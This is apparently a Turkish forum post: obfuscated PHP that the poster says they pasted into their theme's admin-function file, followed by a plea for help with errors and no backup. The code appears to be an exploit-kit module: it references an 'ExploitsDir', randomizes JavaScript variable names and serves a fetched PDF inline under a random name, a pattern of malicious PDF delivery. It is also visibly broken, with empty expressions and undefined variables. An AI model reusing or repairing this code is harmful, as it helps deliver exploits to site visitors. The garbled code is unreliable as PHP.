class JavaScript
{

public function parseTemplate( $jsTemplate, $varNamesArrayName )
{
$GLOBALS['tmpvarname'] = $varNamesArrayName;
$jsTemplate = _obfuscate_DQENMT8BCzQkLghbGB8IQUWPzwPhEÿ( "/(\\<([a-zA-Z_][a-zA-Z0-9_]*)\\>)/iU", _obfuscate_DRMNGTwqHR8VKgIZLRs5Gz8mDgxbEgEÿ( "\$o", "return Javascript::getJsVariable(\$o[2], \$GLOBALS[\"tmpvarname\"]);" ), $jsTemplate );
return $jsTemplate;
}

public function getJsVariable( $varName, $varNamesArrayName )
{
$r = "";
if ( !isset( $GLOBALS[$varNamesArrayName] ) )
{
$GLOBALS[$varNamesArrayName] = array( );
}
if ( isset( $GLOBALS[$varNamesArrayName][$varName] ) )
{
$r = $GLOBALS[$varNamesArrayName][$varName];
}
else
{
$r = ( );
while ( _obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwEÿ( $r, $GLOBALS[$varNamesArrayName] ) )
{
$r = ( );
}
$GLOBALS[$varNamesArrayName][$varName] = $r;
}
return $r;
}

public function genJsVariableName( )
{
$human_vars = $_SERVER['pdftiff']['human_vars'];
$w = _obfuscate_DRk9FT0fAywxOQ5bQDQBBxABWwUkQAEÿ( " ", $human_vars );
$o = array( );
$badChars = array( "([ ])", "([^a-zA-Z])", "(-{2,})" );
foreach ( $w as $i )
{
$i = _obfuscate_DVs8CzASGTw9XAkdEh8AjAvJgQ0NBEÿ( $i );
$i = _obfuscate_DRUSND8kEiE8KCM7ChgyEFwxBQMrGzIÿ( $badChars, "", $i );
$i = _obfuscate_DUAChMkNBIpMycFKTE0JSkBBS8BCREÿ( $i );
if ( _obfuscate_DQUKDz4LLhwXMRYlDzMvDikHHBwYKyIÿ( $i ) <= 6 )
{
$o[$i] = 1;
}
}
$max = 1 + _obfuscate_DSwjPRcWHSEJGRwyDRISIQ4KNBYtETIÿ( ) % 2;
$i = 0;
$var = "_";
$o = _obfuscate_DR4HCQ4OAw00HDsPWykQDgwQGjESDiIÿ( $o );
$badWords = "as namespace use false null true boolean final short byte float static char int double long in for if or and";
$badWords = _obfuscate_DRk9FT0fAywxOQ5bQDQBBxABWwUkQAEÿ( " ", $badWords );
while ( $i++ < $max )
{
$s = $o[_obfuscate_DSwjPRcWHSEJGRwyDRISIQ4KNBYtETIÿ( ) % _obfuscate_DRAxBQwdBxskCygsEhQtIzAOJBUtNAEÿ( $o )];
$s[0] = _obfuscate_DRYCGzgRBRAfNiosBgYMO0AnXCQsBjIÿ( $s[0] );
$var .= $s;
}
$var[0] = _obfuscate_DUAChMkNBIpMycFKTE0JSkBBS8BCREÿ( $var[0] );
while ( isset( $_SERVER['human_vars'][$var] ) || _obfuscate_DRomDhFbHx03LxUnDjAHJB0aMAw3CwEÿ( $var, $badWords ) )
{
$s = $o[_obfuscate_DSwjPRcWHSEJGRwyDRISIQ4KNBYtETIÿ( ) % _obfuscate_DRAxBQwdBxskCygsEhQtIzAOJBUtNAEÿ( $o )];
$s[0] = _obfuscate_DRYCGzgRBRAfNiosBgYMO0AnXCQsBjIÿ( $s[0] );
$var .= $s;
}
$_SERVER['human_vars'][$var] = true;
return $var;
}

}

class JS
{

public function RandomezeVar( $text )
{
$alphabet = "qwertyuiopasdfghjklzxcvbnm";
$minLen = 2;
$maxLen = 4;
$Var_168 = _obfuscate_DQUKDz4LLhwXMRYlDzMvDikHHBwYKyIÿ( $alphabet );
$ereg = "/<\\*[^>]+>/";
$used = array( );
while ( _obfuscate_DRY8CTU0QAIoCDQJEUAGMAYjKSEoLiIÿ( $ereg, $text, $match ) )
{
$var = $match[0];
$good = false;
while ( !$good )
{
$replacement = "";
$len = $minLen + _obfuscate_DSwjPRcWHSEJGRwyDRISIQ4KNBYtETIÿ( ) % ( $maxLen - $minLen + 1 );
$i = 0;
while ( $i < $len )
{
$char = $alphabet[_obfuscate_DSwjPRcWHSEJGRwyDRISIQ4KNBYtETIÿ( ) % $alphabetLen];
$replacement .= $char;
++$i;
}
if ( _obfuscate_DTITE1sGFhUDHwYBFwoPFTwPNA4YIiIÿ( $replacement, $used ) === false )
{
$good = true;
$used[] = $replacement;
}
}
$text = _obfuscate_DT4jHi0IIi8MLgYnAipbPyw9IR0UAQEÿ( $var, $replacement, $text );
}
return $text;
}

}

if ( !isset( $_GET['f'] ) )
{
exit( );
}
include( "../config.php" );
$fname = $_SERVER['PHP_SELF'];
$fname = _obfuscate_DT4jHi0IIi8MLgYnAipbPyw9IR0UAQEÿ( _obfuscate_DTIfMBg4CRsICzYhDiI4LAEJLQcDLiIÿ( __FILE__ ), ( "DownloadFileName" ).".php", $fname );
$fname = _obfuscate_DT4jHi0IIi8MLgYnAipbPyw9IR0UAQEÿ( ( "ExploitsDir" )."/", "", $fname );
$url = "http://".$_SERVER['SERVER_NAME'].$fname."?f="._obfuscate_DRkHJz41OylAAiEOLBQJXAMvJgUnIhEÿ( $_GET['f'] )."&s=4";
$_SERVER['pdftiff']['human_vars'] = "a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z";
$_SERVER['pdftiff']['min_entropy'] = 2;
$_SERVER['pdftiff']['max_entropy'] = 3;
$pdf = _obfuscate_DQERBREYGDwHHggPEwE_EFw5ISxcDzIÿ( $url );
_obfuscate_DRQ2OAYsFSk2HRwnQDkNBh4CCRoqLAEÿ( );
_obfuscate_DQUrNTMROAdAIkAGHTI5PQYPKCw2BTIÿ( );
_obfuscate_DQUKDz4LLhwXMRYlDzMvDikHHBwYKyIÿ( "Content-Length: ".$Var_1320 );
_obfuscate_DQUrNTMROAdAIkAGHTI5PQYPKCw2BTIÿ( "Content-Disposition: inline; filename="._obfuscate_DT4wEgo5IxEdCi4E1wdLy0lCCY8MAEÿ( _obfuscate_DS4hKz4aOB8QCicHGCc2CQQcFT0TCSIÿ( _obfuscate_DQsLIg8CNQwUGhAWBBI4KQVcJgIrMgEÿ( ) ), 0, 5 )."d.pdf" );
_obfuscate_DQUrNTMROAdAIkAGHTI5PQYPKCw2BTIÿ( "Content-Type: application/pdf" );
echo $pdf;
exit( );
?>


arkadaşlar temayı şifrelemeye çalışıyordum admin-fonksyon dosyasını bu şekilde yaptım 8 satırda kırmızı gösterdiğim yerde hata alıyorum kodları hazır alıp temama uyarladım tekrar nasıl devre dışı bırakırım yedeğini almadım 8.satırı sildiğimde baska bir satırda hata veriyor.